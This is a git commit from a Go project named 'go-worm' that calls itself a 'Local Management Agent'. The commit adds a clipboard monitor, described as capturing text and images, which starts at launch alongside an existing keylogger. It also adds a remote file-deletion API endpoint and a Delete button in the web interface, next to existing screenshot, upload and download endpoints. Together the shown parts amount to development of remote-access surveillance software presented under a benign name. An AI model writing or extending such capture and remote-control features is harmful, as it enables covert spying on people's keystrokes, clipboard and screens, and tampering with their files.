Add clipboard monitoring functionality to the agent. Implement clipboard event logging, including text and image capture, with support for retention policies. Update API to allow file deletion and enhance web interface for file management. Add tests for clipboard operations.
This commit is contained in:
@@ -11,6 +11,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
@@ -48,10 +49,14 @@ func New() (*Agent, error) {
|
||||
if err := keylog.Start(); err != nil {
|
||||
helpers.Log.Printf("keylog start: %v", err)
|
||||
}
|
||||
if err := clipmon.Start(); err != nil {
|
||||
helpers.Log.Printf("clipboard monitor start: %v", err)
|
||||
}
|
||||
return a, nil
|
||||
}
|
||||
|
||||
func (a *Agent) Close() {
|
||||
clipmon.Stop()
|
||||
keylog.Stop()
|
||||
if a.guard != nil {
|
||||
a.guard.Close()
|
||||
|
||||
+23
-3
@@ -42,7 +42,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
||||
"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
|
||||
"paths": map[string]any{
|
||||
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
|
||||
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
|
||||
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}, "delete": map[string]string{"summary": "Delete a file or directory"}},
|
||||
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
|
||||
"/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}},
|
||||
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
|
||||
@@ -92,10 +92,17 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
a.listFiles(w, r)
|
||||
case http.MethodDelete:
|
||||
a.deleteFile(w, r)
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) listFiles(w http.ResponseWriter, r *http.Request) {
|
||||
depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
|
||||
if err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
@@ -127,6 +134,19 @@ func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
|
||||
}
|
||||
|
||||
func (a *Agent) deleteFile(w http.ResponseWriter, r *http.Request) {
|
||||
path := r.URL.Query().Get("path")
|
||||
if path == "" {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "path is required")
|
||||
return
|
||||
}
|
||||
if err := files.RemovePath(a.root, path); err != nil {
|
||||
files.WritePathError(w, err)
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "path": path})
|
||||
}
|
||||
|
||||
func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
|
||||
+20
-1
@@ -130,6 +130,15 @@
|
||||
return res.json();
|
||||
}
|
||||
|
||||
async function deleteFile(fullPath, name) {
|
||||
if (!confirm(`Delete ${name}?`)) {
|
||||
return;
|
||||
}
|
||||
const query = new URLSearchParams({ path: fullPath });
|
||||
await api(`/api/v1/files?${query}`, { method: "DELETE" });
|
||||
await listFiles(pathInput.value.trim());
|
||||
}
|
||||
|
||||
async function listFiles(path) {
|
||||
const query = new URLSearchParams();
|
||||
if (path) query.set("path", path);
|
||||
@@ -164,7 +173,17 @@
|
||||
size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
|
||||
const modified = document.createElement("td");
|
||||
modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
|
||||
tr.append(name, type, size, modified);
|
||||
const action = document.createElement("td");
|
||||
const del = document.createElement("button");
|
||||
del.type = "button";
|
||||
del.textContent = "Delete";
|
||||
const full = joinPath(data.path, entry.name);
|
||||
del.addEventListener("click", (event) => {
|
||||
event.stopPropagation();
|
||||
deleteFile(full, entry.name).catch((err) => showError(err.message));
|
||||
});
|
||||
action.append(del);
|
||||
tr.append(name, type, size, modified, action);
|
||||
fileRows.append(tr);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -171,7 +171,7 @@
|
||||
<p id="file-meta" class="meta"></p>
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th></tr>
|
||||
<tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th></th></tr>
|
||||
</thead>
|
||||
<tbody id="file-rows"></tbody>
|
||||
</table>
|
||||
|
||||
Reference in New Issue
Block a user